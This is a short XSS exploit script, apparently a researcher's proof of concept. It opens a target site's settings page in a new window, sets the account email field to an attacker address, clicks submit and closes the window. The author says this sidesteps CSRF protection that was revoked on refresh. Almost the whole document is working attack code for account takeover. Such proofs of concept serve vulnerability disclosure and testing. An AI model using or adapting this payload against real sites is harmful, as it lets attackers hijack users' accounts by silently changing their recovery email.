This is a sample exploit for exploiting an XSS vulnerability that changes the user email. This bypasses some CSRF protections as the page was revoking the CSRF protections when refreshed.

email_change_exploit_xss.js

// a Simple XSS exploit for email change 
// Shawar Khan

var dark_window = window.open('https://www.target.com/settings');
dark_window.addEventListener('load', 

	function exploit_run(){
		dark_window.document.body.getElementsByTagName('form')[0][2].value='attacker@attacker.com' // changes email
		dark_window.document.body.getElementsByTagName('form')[0][40].click() // clicks for submission

		setTimeout(function() { // just for delay and closing
			dark_window.close();
		}, 10000);

	}, true);